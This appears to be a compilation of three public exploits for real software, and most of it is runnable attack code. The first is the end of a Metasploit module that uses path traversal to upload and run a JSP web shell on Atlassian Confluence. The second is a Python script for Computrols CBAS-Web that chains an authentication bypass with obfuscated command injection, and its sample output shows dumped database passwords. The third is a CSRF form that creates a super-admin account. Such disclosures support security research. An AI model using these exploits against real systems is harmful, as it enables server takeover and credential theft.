    [ 'Windows', { 'Platform' => 'win',   'Arch' => ARCH_JAVA  }],
    [ 'Linux',   { 'Platform' => 'linux', 'Arch' => ARCH_JAVA  }]
  ],
'DefaultOptions'  =>
  {
'RPORT' => 8090,
'SSL' => false
  },
'DisclosureDate' => 'Nov 9 2019',
'DefaultTarget'  => 0
  ))

  register_options(
  [
    OptString.new('USERNAME', [true, 'The login to log into the web interface of the Atlassian Confluence server', 'test']),        
    OptString.new('PASSWORD', [true, 'The password to log into the web interface of the Atlassian Confluence server', 'test']),
    OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'Program Files/Atlassian/Confluence/confluence/pages/']),
    #OptString.new('ROOTFOLDER', [true, 'The root folder of the Atlassian Confluence server', 'opt/atlassian/confluence/confluence/pages/']),
    OptString.new('FILENAME', [true, 'The JSP shellcode file name', 'covfefe.jsp']),
    OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),
    OptString.new('NEWSPACE', [false, 'A new space to be created', 'TESTSPACE432545645']),
    OptInt.new('PAGEID', [false, 'A Page ID to be used to upload shellcode', 0]),
    OptInt.new('PAGEID_RANGE_START', [false, 'The first Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '1']),
    OptInt.new('PAGEID_RANGE_END', [false, 'The last Page ID to be used to enumerate a writable Page ID (used when PAGEID is not specified)', '999999999']),

  ], self.class)
end

def do_authenticate
  print_status("Sending POST request to the web application (authentication)...")
  res = send_request_cgi({
'uri'              => normalize_uri(target_uri.path.to_s, '/dologin.action'),
'method'           => 'POST',
'vars_post'        => {
'os_username'    => datastore['USERNAME'],
'os_password'    => datastore['PASSWORD'],
'os_destination' => '',
'login'          => 'Log+In'
          }
      })
  if res.nil?
    print_status("Unable to access the web application!")
    return 0
  end
  @sessid = get_sid(res)
  if @sessid.nil?
    print_status("Unable to retrieve session ID!")
    return 0
  end
  print_status("Getting Session ID from the web application... #{@sessid}")

  if res && res.redirect?
    location = res.redirection
    if location.nil?
      print_status("Unable to access the web application when redirected!")
      return 0
    end
    res = send_request_cgi!({
'uri'              => normalize_uri(target_uri.path.to_s, location.to_s),
'method'           => 'GET',
'headers'       => {
'Cookie'           => @sessid
          }
      }, redirect_depth = 5)
  end

  if res && res.code == 200
    if res.body =~ /re-enter\syour\slogin/ || res.body =~ /Sorry,\syour\susername\sand\/or\spassword\sare\sincorrect/ || res.body =~ /Unauthorized/
      print_status("Authentication failed...")
      return 0
    end

    @xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']
    if @xsrf_token.nil? or @xsrf_token.blank?
      print_status("Failed to retrieve XSRF token...")
      return 0
    else
      print_status("Retrieving XSRF token... #{@xsrf_token}")
      return 1
    end
  else
    print_status("Unexpected response from the web application...")
    return 0
  end
end

def do_upload(_pageid)
  print_status("Sending POST request to the web application (shellcode upload)...")
  res = send_request_cgi({
'uri'      => normalize_uri(target_uri.path.to_s, '/plugins/drag-and-drop/upload.action'),
'method'    => 'POST',
'vars_get'    => {
'pageId'    => _pageid,
'filename'    => '../../../../../../../../../../' + datastore['ROOTFOLDER'] + datastore['FILENAME'],
'size'      => payload.encoded.length,
'mimeType'    => 'text/plain',
'spaceKey'    => 'isis',
'atl_token'    => @xsrf_token,
'name'      => datastore['FILENAME']
    },
'data'      => payload.encoded,
'headers'    => {
'Connection'    => 'close',
'Accept'    => '*/*',
'Accept-Encoding'  => 'identity',
'Cookie'    => @sessid,
'Content-Length'  => payload.encoded.length,
'Content-Type'    => 'text/plain'
    }
    })
  if res && res.code == 200 && res.body.scan(/actionErrors/).blank?
    print_status("Shellcode uploaded...")
    return 1
  else
    return 0
  end
end

def do_downloadall(_pageid)
  for downloadall_iter in 1..10
    print_status("Sending GET request to the web application (downloadall)...")
    res = send_request_cgi({
'uri'      => normalize_uri(target_uri.path.to_s, '/pages/downloadallattachments.action'),
'method'    => 'GET',
'vars_get'    => {
'pageId'    => _pageid
      },
'headers'    => {
'Cookie'    => @sessid
      }
      })

    print_status("Sending GET request to the web application (shellcode invokation)...")
    res = send_request_cgi({
'uri'      => normalize_uri(target_uri.path.to_s, '/pages/' + datastore['FILENAME']),
'method'    => 'GET',
'headers'    => {
'Cookie'    => @sessid
      }
      }, timeout = 10)

    if res && res.code == 200
      print_status("Shellcode found...")
      return 1
    else
      if downloadall_iter == 10
        print_status("Shellcode not found...")
        return 0
      end
    end
  end
end

def do_getspaces
  print_status("Sending GET request to the web application (getting available spaces)...")
    res = send_request_cgi({
'uri'      => normalize_uri(target_uri.path.to_s, '/rest/api/space'),
'method'    => 'GET',
'headers'    => {
'User-Agent'    => 'python-requests/2.20.0',
'Cookie'    => @sessid,
'Accept'    => '*/*',
'Accept-Encoding'  => 'identity',
'Content-Type'    => 'application/json'
      }
      })

    if res && res.code == 200 && res.body =~ /results/
      space_list = res.body.scan(/\"key\":\"(\w+)\"/).flatten
    else
      space_list = Array([])
    end
  return space_list
end

def do_createspace
  print_status("Sending POST request to the web application (creating a space)...")
  res = send_request_cgi({
'uri'      => normalize_uri(target_uri.path.to_s, '/rest/api/space'),
'method'    => 'POST',
'data'      => {
"key": datastore['NEWSPACE'],
"name": "Example space",
"description": {
"plain": {
"value": "This is an example space",
"representation": "plain"
    }
    },
"metadata": {}
    }.to_json,
'headers'    => {
'User-Agent'    => 'python-requests/2.20.0',
'Cookie'    => @sessid,
'Accept-Encoding'  => 'identity',
'Content-Type'    => 'application/json'
  }
  })

  if res && res.code == 200 && res.body =~ /\"key\":\"\w+\"/
    print_status("Space created...")
    return res.body.scan(/\"key\":\"(\w+)\"/).flatten[0]
  else
    print_status("Space not created...")
    return 0
  end      
end

def do_createpage(_space)
  print_status("Sending GET request to the web application (creating Page ID), space #{_space}...")
  res = send_request_cgi({
'uri'      => normalize_uri(target_uri.path.to_s, '/pages/createpage.action?spaceKey='+_space),
'method'    => 'GET',
'headers'    => {
'Cookie'    => @sessid
    }
    })
  if res && res.code == 200 && res.body =~ /ajs-draft-id/
    pageid = res.get_html_document.at('meta[@name="ajs-draft-id"]')['content']
    pageid_parsed = /(\d+)/.match(pageid)
    if pageid_parsed.nil?
      print_status("Unexpected Page ID format...")
      return 0
    else
      print_status("Page ID created... #{pageid}")
      datastore['PAGEID'] = pageid
      return 1
    end
  else
    return 0
  end
end

def get_sid(res)
  if res.nil?
    return ''
  end
  res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''
end


def exploit
  print_status("Getting authenticated to the web application...")
  if do_authenticate != 1
    fail_with(Failure::Unknown, 'Initial access or authentication error!')
  end

  unless datastore['PAGEID'].blank?
    if datastore['PAGEID'] == 0
      print_status("Creating Page ID...")
      spaces = do_getspaces
      for sp in spaces
        if do_createpage(sp) == 1
          print_status("Uploading shellcode...")
          if do_upload(datastore['PAGEID']) != 1
            print_status("Failed to upload shellcode...")
            next
          end          
          print_status("Invoking shellcode...")
          if do_downloadall(datastore['PAGEID']) != 1
            print_status("Failed to invoke shellcode...")
            next
          else
            return
          end
        end
      end

      print_status("Trying to create a new space...")
      new_sp = do_createspace

      if new_sp != 0
        if do_createpage(new_sp) == 1
          print_status("Uploading shellcode...")
          if do_upload(datastore['PAGEID']) != 1
            fail_with(Failure::Unknown, 'Error while uploading shellcode!')
          end
          print_status("Invoking shellcode...")
          if do_downloadall(datastore['PAGEID']) != 1
            fail_with(Failure::Unknown, 'Error while invoking shellcode!')        
          end

          return
        else
          fail_with(Failure::Unknown, 'Error while creating page in the newly created space!')
        end
      else
        fail_with(Failure::Unknown, 'Error while creating space!')
      end
    end  

    print_status("Uploading shellcode...")
    if do_upload(datastore['PAGEID']) != 1
      fail_with(Failure::Unknown, 'Error while uploading shellcode!')
    end
    print_status("Invoking shellcode...")
    if do_downloadall(datastore['PAGEID']) != 1
      fail_with(Failure::Unknown, 'Error while invoking shellcode!')        
    end
  else
    for id in datastore['PAGEID_RANGE_START']..datastore['PAGEID_RANGE_END']
      print_status("Trying Page Id #{id}")
      print_status("Uploading shellcode...")
      if do_upload(id) == 1
        print_status("Invoking shellcode...")
        if do_downloadall(id) == 1
          break
        end
      end
    end
  end

end

def check
  res = send_request_cgi!({
'uri'      => normalize_uri(target_uri.path.to_s, '/login.action?anon=1&logout=1'),
'method'    => 'GET',
    }, redirect_depth = 5)

  if res && res.body =~ /Powered\sby/
    ver = res.body.scan(/^.*Powered\sby\s.*(\d{1,}\.\d{1,}\.\d{1,}).*$/).flatten[0]
    print_status("The version of the web application is #{ver}")
    ver_parsed = /(\d+)\.(\d+)\.(\d+)/.match(ver.to_s)
    if ver_parsed.nil?
      print_status("The version of the web application couldn't be parsed")
      return Exploit::CheckCode::Detected
    end
    ver_oct1 = ver_parsed[1].to_i
    ver_oct2 = ver_parsed[2].to_i
    ver_oct3 = ver_parsed[3].to_i

    if ver_oct1.between?(2, 6) && ver_oct2.between?(0, 6) && ver_oct3.between?(0, 12) || ver_oct1.between?(6, 6) && ver_oct2.between?(7, 12) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(13, 13) && ver_oct3.between?(0, 3) || ver_oct1.between?(6, 6) && ver_oct2.between?(14, 14) && ver_oct3.between?(0, 2) || ver_oct1.between?(6, 6) && ver_oct2.between?(15, 15) && ver_oct3.between?(0, 1)
      return Exploit::CheckCode::Appears
    else
      return Exploit::CheckCode::Safe    
    end

  else
    return Exploit::CheckCode::Unknown
  end
end

end

#!/usr/bin/env python

'''
  Computrols CBAS-Web Unauthenticated Remote Command Injection Exploit
  Affected versions: 19.0.0 and below
    by Sipke Mellema, 2019
  Advisory: https://applied-risk.com/resources/ar-2019-009
  Paper: https://applied-risk.com/resources/i-own-your-building-management-system

  Uses two vulnerabilities for executing commands:
    - An authorization bypass in the auth module (CVE-2019-10853)
    - A code execution vulnerability in the json.php endpoint (CVE-2019-10854)

  Example usage: 
  $ python CBASWeb_19_rce.py 192.168.1.250 "cat /var/www/cbas-19.0.0/includes/db.php"
      ------------==[CBAS Web v19 Remote Command Injection

      [*] URL: http://192.168.1.250/
      [*] Executing: cat /var/www/cbas-19.0.0/includes/db.php
      [*] Cookie is authenticated
      [*] Creating Python payload..
      [*] Sending Python payload..
      [*] Server says:
<?php
      // Base functions for database access
      // Expects a number of constants to be set.  Set settings.php

      // Only allow local access to the database for security purposes
      if(defined('WINDOWS') && WINDOWS){
          define('MYSQL_HOST', '192.168.1.2');
          define('DB_USER', 'wauser');
          define('DB_PASS', 'wapwstandard');
          /*define('DB_USER', 'root');
          define('DB_PASS', 'souper secrit');*/
          ...

'''

import requests
import sys
import base64 as b
import json


def debug_print(msg, level=0):
  if level == 0:
    print "[*] %s" % msg
  if level == 1:
    print "[-] %s" % msg

# Check parameters
if len(sys.argv) < 3:
  print "Missing target parameter\n\n\tUsage: %s <IP or hostname> \"<cmd>\"" % __file__
  exit(0)

print "------------==[CBAS Web v18 Remote Command Injection\n"

# Set host, cookie and URL
host = sys.argv[1]
cookies = {'PHPSESSID': 'comparemetoasummersday'}
url = "http://%s/" % host

debug_print("URL: %s" % url)

# Command to execute
# Only use single quotes in cmd pls
icmd = sys.argv[2]
if '"' in icmd:
  debug_print("Please don't use double quotes in your command string", level = 1)
  exit(0)

debug_print("Executing: %s" % icmd)

# URL for performing auth bypass by setting the auth cookie flag to true
auth_bypass_req = "cbas/index.php?m=auth&a=agg_post&code=test"
# URL for removing auth flag from cookie (for clean-up)
logout_sess_req = "cbas/index.php?m=auth&a=logout"
# URL for command injection and session validity checking
json_checks_req = "cbas/json.php"

# Perform logout
def do_logout():
  requests.get(url + logout_sess_req, cookies = cookies)

# Check if out cookie has the authentication flag
def has_auth():
  ret = requests.get(url + json_checks_req, cookies = cookies)
  if ret.text == "Access Forbidden":
    return False
  return True

# Set auth flag on cookie
def set_auth():
  requests.get(url + auth_bypass_req, cookies = cookies)

# =======================================================

# Perform auth bypass if not authenticated yet
if not has_auth():
  debug_print("Cookie not yet authenticated")
  debug_print("Setting auth flag on cookie via auth bypass..")
  set_auth()

# Check if bypass failed
if not has_auth():
  debug_print("Was not able to perform authorization bypass :(")
  debug_print("Exploit failed, quitting..", level = 1)
  exit(0)

else:
  debug_print("Cookie is authenticated")
  debug_print("Creating Python payload..")

  # Payload has to be encoded because the server uses the following filtering in exectools.php:
  #   $bad = array("..", "\\", "&", "|", ";", '/', '>', '<');
  # So no slashes, etc. This means only two "'layers' of quotes"

  # Create python code exec code
  cmd_python = 'import os; os.system("%s")' % icmd
  # Convert to Python array
  cmd_array_string = str([ord(x) for x in cmd_python])
  # Create command injection string
  p_unencoded = "DispatchHistoryQuery\t-i \"$(python -c 'exec(chr(0)[0:0].join([chr(x) for x in %s]))')\"" % cmd_array_string
  # Base64 encode for p parameter
  p_encoded = b.b64encode(p_unencoded)

  # Execute command
  debug_print("Sending Python payload..")
  ret = requests.post(url + json_checks_req, cookies = cookies, data = {'p': p_encoded})

  # Parse result
  ret_parsed = json.loads(ret.text)
  try:
    metadata = ret_parsed["metadata"]
    identifier = metadata["identifier"]

    debug_print("Server says:")
    print identifier

  # JSON Parsing error
  except:
    debug_print("Error parsing result from server :(", level = 1)

# Uncomment if you want the cookie to be removed after use
# debug_print("Logging out")
# do_logout()

Computrols CBAS-Web 19.0.0 CSRF Add Super Admin

CVE: CVE-2019-10847
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system
Discovered by Gjoko 'LiquidWorm' Krstic

<!-- CSRF Add Super Admin -->
<html>
<body>
<script>history.pushState('', 't00t', 'index.php')</script>
<form action="http://192.168.1.250/cbas/index.php?m=users&a=user_add_p" method="POST">
<input type="hidden" name="username_" value="Sooper" />
<input type="hidden" name="first" value="Mess" />
<input type="hidden" name="last" value="O'Bradovich" />
<input type="hidden" name="email" value="aa@bb.cc" />
<input type="hidden" name="password_" value="" />
<input type="hidden" name="notes" value="CSRFed" />
<input type="hidden" name="group_id" value="0" />
<input type="hidden" name="role" value="super" />
<input type="hidden" name="md5password" value="179edfe73d9c016b51e9dc77ae0eebb1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>